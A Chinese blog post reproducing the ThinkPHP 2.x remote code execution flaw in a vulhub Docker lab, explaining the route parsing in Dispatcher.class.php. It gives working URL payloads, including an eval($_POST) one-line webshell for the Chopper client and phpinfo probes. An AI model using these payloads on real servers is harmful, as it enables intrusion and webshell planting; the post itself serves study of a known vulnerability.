漏洞复现-2.x rce-Thinkphp远程命令执行

 
 
 
 
 
 

0x00实验环境

攻击机:win10

靶机:Ubuntu18 (docker搭建的vulhub靶场)

 

0x01影响版本

影响Thinkphp 2.x的版本

 

0x02实验目的

学习更多的命令执行姿势,同时了解thinkphp 2.x命令执行的原理

 

0x03实验步骤

访问页面,发现是一个Thinkphp的CMS框架,由于是漏洞复现,我们能很清楚的知道它的版本是2.x。如果不知道版本可通过乱输入路径进行报错,或是使用云悉指纹识别进行检测

此时输入已爆出的远程代码执行命令即可复现漏洞:

/index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此为一句话连菜刀

 

 

这里只要将phpinfo换成一句话木马即可成功!

 

0x04实验原理

(1)通过观察这句话,我们可以清楚地知道它是将


${@phpinfo()}

作为变量输出到了页面显示,其原理,我通过freebuf总结一下:
  • PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a
  • thinkphp 所有的主入口文件默认访问index控制器(模块)
  • thinkphp 所有的控制器默认执行index动作(方法)
  • http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
  • 数组$var在路径存在模块和动作时,会去除掉前2个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

    所以我们可以构造poc如下:

 

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
.......

 

 (2)简而言之,就是在thinphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。

类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

 

posted @ 2020-07-11 21:20  铺哩  阅读(2632)  评论(0编辑  收藏  举报